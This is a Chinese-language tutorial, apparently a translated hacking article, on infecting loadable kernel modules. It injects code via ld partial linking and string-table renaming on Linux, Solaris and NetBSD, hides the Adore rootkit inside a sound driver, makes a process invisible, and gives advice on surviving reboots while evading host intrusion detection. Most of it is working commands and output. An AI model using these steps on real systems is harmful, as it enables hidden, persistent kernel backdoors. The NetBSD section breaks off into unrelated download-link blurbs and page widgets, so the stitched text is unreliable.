LKM 注射 二

----[ 3.3 - 插入代码

  不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用
ld 这个法宝。

$ cat original.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()/n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()/n");
  return 0;
}

$ cat inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  printk ("<1> Injected/n");
  return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c


  重要部分开始了。由于内核模块都是可以重定位的ELF object文件,代码插入并不是个
问题。这种object文件在链接后可以共享彼此的符号。同样这里有一个原则:要链接在一
起的几个模块里不能有同名符号。使用 ld 命令带上 -r 参数完成一个部分链接,不改变
链接文件的性质。这样声明的模块可以被内核加载。

$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o
$ objdump -t original.o

original.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 original.c
0000000000000000 l     O .modinfo  0000000000000016 __module_
kernel_version
0000000000000000 l    df *ABS*  0000000000000000 inject.c
0000000000000016 l     O .modinfo  0000000000000016 __module_
kernel_version
0000000000000014 g     F .text  0000000000000014 cleanup_module
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000028 g     F .text  0000000000000014 inje_module


  这样 inje_module() 函数就被链接进了模块。现在我们要修改 .strtab section 以保证模块
加载时被调用的是inje_module()而不是init_module()。


$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module


  开火吧:

# insmod original.o
# tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel:  Injected

  奇迹发生了 :)


----[ 3.4 - 保持隐蔽性

  大多数时候,我们要感染那些正在使用的的模块。如果我们用别的函数替换
了init_module(),模块原先的功能就不能发挥了。明眼人很容易发现这个被感染
的模块。有一个解决方法可以既保留原有的功能,又能插入我们的代码。.strtab
被 hack 了以后,真正的 init_module() 函数重命名为dumm_module。如果我
们在插入的 evil_module() 函数里调用 dumm_module(),那么真正的 init_module()
就会在模块初始化时执行,从而模块原有的功能也不会被破坏。

                 替换
    init_module  ------>  dumm_module
    inje_module  ------>  init_module (将会调用 dumm_module)


$ cat stealth.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  dumm_module ();
  printk ("<1> Injected/n");
  return 0;
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module

# insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel:  Into init_module()
May 17 14:57:31 accelerator kernel:  Injected


  好极了,我们插入的代码在正常代码运行之后也得到了执行,这下够隐蔽的了。


--[ 4 - 实例

  下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样,我们就
可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2]
rootkit 插入到我的声卡驱程(i810_audio.o)里。

----[ 4.1 - 最简单的 LKM 感染

1) 我们必须对adore.c稍稍做点修改

  * 在 init_module() 函数里加入对 dumm_module() 的调用
  * 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用
  * 把 init_module 函数名改成 evil_module
  * 把 cleanup_module 函数名改成 evclean_module
(译者注:注意始终保持函数名长度和原名称的一致性)


2) 用 make 命令编译 Adore


3) 把 adore.o 和 i810_audio.o 链接

   ld -r i810_audio.o adore.o -o evil.o

   如果将要被插入的模块已经加载了,必须先卸载它:

   rmmod i810_audio

   mv evil.o i810_audio.o


4) 修改 .strtab section

                 替换
  init_module    ------> dumm_module
  evil_module    ------> init_module (将会调用 dumm_module)

  cleanup_module ------> evclean_module
  evclean_module ------> cleanup_module (将会调用 evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module


5) 加载并且测试模块

# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

       h hide file
       u unhide file
       r execute as root
       R remove PID forever
       U uninstall adore
       i make PID invisible
       v make PID visible

# ps
  PID TTY          TIME CMD
2004 pts/3    00:00:00 bash
2083 pts/3    00:00:00 ps

# ./ava i 2004
Checking for adore  0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps
  PID TTY          TIME CMD
#

完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。


----[ 4.2 - 我还会回来的 (重启之后)

  当模块加载时,为了以后进一步的需要,我们有两种选择:

  * 用感染后的模块替换 /lib/modules/ 里真正的模块。
    这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则不是太变态,还是查不到我们头上的。

  * 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即使HIDS监测文件的修改情况,它们也只能无功而返。


--[ 5 - 关于其他的操作系统

----[ 5.1 - Solaris

  我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数:

  - _init 模块初始化的时候调用
  - _fini 模块卸载时调用
  - _info 当用户使用modinfo命令时,负责输出模块信息

$ uname -srp
SunOS 5.7 sparc

$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
        &mod_miscops,
        "Real Loadable Kernel Module",
};

static struct modlinkage modlinkage = {
        MODREV_1,
        (void *)&modlmisc,
        NULL
};

int _init(void)
{
        int i;
        if ((i = mod_install(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not install module/n");
        else
                cmn_err(CE_NOTE,"mod: successfully installed");
        return i;
}

int _info(struct modinfo *modinfop)
{
        return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
        int i;
        if ((i = mod_remove(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not remove module/n");
        else
                cmn_err(CE_NOTE,"mod: successfully removed");
        return i;
}


$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod:            ELF 64-bit MSB relocatable SPARCV9 Version 1


  正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把
.strtab入口的 _init 重命名为 _dumm 就可以了。


$ readelf -S mod
有10个section 的header(section headers),它们的偏移地址从 0x940 开始。

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000        0     0     0
  [ 1] .text             PROGBITS         0000000000000000  00000040
       0000000000000188  0000000000000000  AX     0     0     4
  [ 2] .rodata           PROGBITS         0000000000000000  000001c8
       000000000000009b  0000000000000000   A     0     0     8
  [ 3] .data             PROGBITS         0000000000000000  00000268
       0000000000000050  0000000000000000  WA     0     0     8
  [ 4] .symtab           SYMTAB           0000000000000000  000002b8
       0000000000000210  0000000000000018         5     e     8
  [ 5] .strtab           STRTAB           0000000000000000  000004c8
       0000000000000065  0000000000000000         0     0     1
  [ 6] .comment          PROGBITS         0000000000000000  0000052d
       0000000000000035  0000000000000000         0     0     1
  [ 7] .shstrtab         STRTAB           0000000000000000  00000562
       000000000000004e  0000000000000000         0     0     1
  [ 8] .rela.text        RELA             0000000000000000  000005b0
       0000000000000348  0000000000000018         4     1     8
  [ 9] .rela.data        RELA             0000000000000000  000008f8
       0000000000000048  0000000000000018         4     3     8
Flag 注释:
  W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串)
  I (info信息), L (link order链接顺序), G (group组), x (unknown未知)
  O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统)
  p (processor specific指定处理器)


  .strtab section 的起始偏移地址为 0x4c8,大小是 64 位。下面我们用vi 和 xxd 作为我们的
16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把
模块转换成16进制。你会看到下面这些字符:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^

  我们用 _dumm 替换 _init,只修改四个字节。

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^                    ^^^^
                                    ^^^^
                                              (译者注:这里似乎应该是dumm,
                                               可能是笔误)

  用 :%!xxd -r 这个命令把模块从16进制转换回去,保存退出。然后我们来证实一下我们的修改是否成功。

$ objdump -t mod

mod:     file format elf64-sparc

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata        0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment       0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l    O  .data  0000000000000040 modlinkage
0000000000000000 l    O  .data  0000000000000010 modlmisc
0000000000000000         *UND*  0000000000000000 mod_miscops
00000000000000a4 g    F  .text  0000000000000040 _info
0000000000000000         *UND*  0000000000000000 mod_install
0000000000000000 g    F  .text  0000000000000188 _dumm
0000000000000000         *UND*  0000000000000000 mod_info
0000000000000000         *UND*  0000000000000000 mod_remove
00000000000000e4 g    F  .text  0000000000000188 _fini
0000000000000000         *UND*  0000000000000000 cmn_err


  可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init
的函数了。

$ cat evil.c
int _init(void)
{
        _dumm ();
        cmn_err(1,"evil: successfully installed");
        return 0;
}

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o

  用ld命令插入模块:

$ ld -r -o evil mod inject

  加载模块:

# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed

  利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。

----[ 5.2 - *BSD

------[ 5.2.1 - FreeBSD

% uname -srm
FreeBSD 4.8-STABLE i386

% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped

  正如我们看到的,FreeBSD 内核模块是共享object的,所以我们无法使用ld命令把恶意代码和模块链接到一起。不仅如此,FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以五花八门。初始化时,加载程序直接在 .data section 的一个结构体内找到 init 函数的地址,而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。

------[ 5.2.2 - NetBSD

$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
(SYSV), not stripped

  NetBSD 内核模块是可以重定位的 ELF object 文件,可以插入模块。当使用 modload 命令加载内核模块的时候,加载程序把模块和内核链接起来,同时执行模块入口处的代码(代码放在ELF header里)。

  链接以后,我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参数,方便我们设置哪个符号为入口点。

  下面是一个例子,我们要感染的模块:

$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int    gentil_lkmentry(struct lkm_table *, int, int);
int    gentil_lkmload(struct lkm_table *, int);
int    gentil_lkmunload(struct lkm_table *, int);
int    gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
    DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
        gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Hello, world!/n");
    return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Goodbye, world!/n");
    return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: How you doin', world?/n");
    return (0);
}
资源下载链接为: https://pan.quark.cn/s/d3128e15f681 罗技MX Master 2S是一款高端无线鼠标,凭借其卓越的性能和舒适性,深受专业设计师、程序员以及需要长时间使用鼠标的人群的喜爱。它在macOS平台上表现出色,功能丰富。而“LogiMgr Installer 8.20.233.zip”是该鼠标在macOS系统上对应的软件安装程序,版本号为8.20.233,主要功能如下: 驱动安装:该安装包可确保MX Master 2S在macOS系统中被正确识别和配置,发挥出最佳硬件性能,同时保证良好的兼容性。它会安装必要的驱动程序,从而启用鼠标的高级功能。 自定义设置:借助此软件,用户能够根据自己的工作习惯,对MX Master 2S的各个按钮和滚轮功能进行自定义。比如设置特定快捷键、调整滚动速度和方向等,以满足个性化需求。 Flow功能:罗技Flow是一项创新技术,允许用户在多台设备间无缝切换。只需在软件中完成设备配置,鼠标就能在不同电脑之间进行复制、粘贴操作,从而大幅提升工作效率。 电池管理:软件具备电池状态监控功能,可帮助用户实时了解MX Master 2S的电量情况,并及时提醒用户充电,避免因电量不足而影响工作。 手势控制:MX Master 2S配备独特的侧边滚轮和拇指按钮,用户可通过软件定义这些手势,实现诸如浏览页面、切换应用等操作,进一步提升使用便捷性。 兼容性优化:罗技的软件会定期更新,以适应macOS系统的最新变化,确保软件与操作系统始终保持良好的兼容性,保障鼠标在不同系统版本下都能稳定运行。 设备配对:对于拥有多个罗技设备的用户,该软件能够方便地管理和配对这些设备,实现快速切换,满足多设备使用场景下的需求。 在安装“LogiMgr Installer 8.20.233.app”时,用户需确保macOS系统满足软件的最低要求,并
资源下载链接为: https://pan.quark.cn/s/27e1210fbf58 《RT-Thread在STM32F103C8T6上的移植实战指南》 RT-Thread是一款开源、轻量级且高可扩展性的实时操作系统(RTOS),广泛应用于物联网、工业控制和消费电子等领域。STM32F103C8T6作为一款基于ARM Cortex-M3内核的微控制器,凭借其丰富的外设资源和高性价比,成为嵌入式系统学习与开发的理想平台。本文将详细介绍如何将RT-Thread移植到STM32F103C8T6,并逐步添加rt_printf支持和Finsh组件,以实现调试与交互功能。 一、移植准备 移植RT-Thread到STM32F103C8T6的第一步是下载RT-Thread Nano的源码,具体操作方法在2.下载RT-Thread Nano源码中详细说明。RT-Thread Nano是RT-Thread的精简版,专为资源受限的嵌入式设备设计。 、整合源码 将下载的RT-Thread Nano源码复制到STM32的裸机工程中,相关步骤在3.拷贝RT-Thread Nano源码到裸机工程中介绍。需确保源码结构与工程匹配,以便后续编译和配置。 三、调整工程目录结构 为适应STM32开发环境,需对工程目录结构进行调整。5.修改工程目录结构中详细说明了如何组织和调整文件,确保编译器正确识别和处理所有源文件。 四、删除未使用的文件 为优化内存占用,需删除RT-Thread中不必要的文件。4.删除RT-Thread中不必要的文件中列出了可安全移除的文件清单。 五、编译与错误修复 完成目录结构调整和冗余文件删除后,开始编译工程。在6.编译工程并修复错误中,将逐一解决编译过程中的错误和警告,确保代码无误。 六、配置Board.c文件 8.修改board.c文件涉及针对STM32F103C8T6硬件特性的
资源下载链接为: https://pan.quark.cn/s/d3128e15f681 《支付宝私域运营白皮书(2021)》深入剖析了支付宝在数字化生活服务领域的发展态势以及商家如何借助支付宝平台开展私域运营的策略与实践。以下是其核心要点: 支付宝生态演变:支付宝不再局限于支付功能,而是发展为一个涵盖生活缴费、社保公积金、出行、医疗健康等众多领域的开放型数字生活服务平台,成为消费者获取线上线下服务的关键入口。目前,用户可在支付宝上办理超1000项服务。 消费者行为分析:支付宝用户的搜索行为多集中于打车、点餐、快递、租车等高频服务,线下扫码服务(如骑车、点餐、购物等)的用户心智也日益成熟。餐饮、快消零售、家政服务、酒店旅游等行业商家在支付宝上的布局尤为活跃。 支付宝小程序分布:餐饮行业的小程序数量占比最高,快消零售、家政服务和酒店旅游紧随其后。这些行业的商家在支付宝的交易量也较为可观,如餐饮、缴费还款、交通出行、教育、共享租赁等领域。 私域运营路径:支付宝构建了一套完整的私域运营链路,涵盖公域获客(如搜索、首页推荐、营销会场)、用户留存(如“生活号+”关注、小程序收藏)、复访与召回(如消息订阅、会员频道)、用户分析(如访问分析、留存分析、分析营销)等环节。商家可通过线下物料引导、支付成功页推广、城市区域投放等方式与用户建立连接。 会员运营策略:商家可在支付宝平台上运营会员,通过消息触达、内容营销等手段提升用户粘性,促进复购。卡包功能、会员频道、支付后营销等结合优惠券策略,可有效实现用户留存与召回。 案例分享:白皮书中可能包含多个商家案例,展示其在支付宝私域运营中的成功实践,如如何运用“生活号+”营销、优惠券策略和会员管理等。 运营规范与指南:白皮书为商家提供了在支付宝平台开展私域运营的规则和操作指南,助力商家合规且高效地开展营销活动。 白皮书为商家提供了全面的策略指导,帮助
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值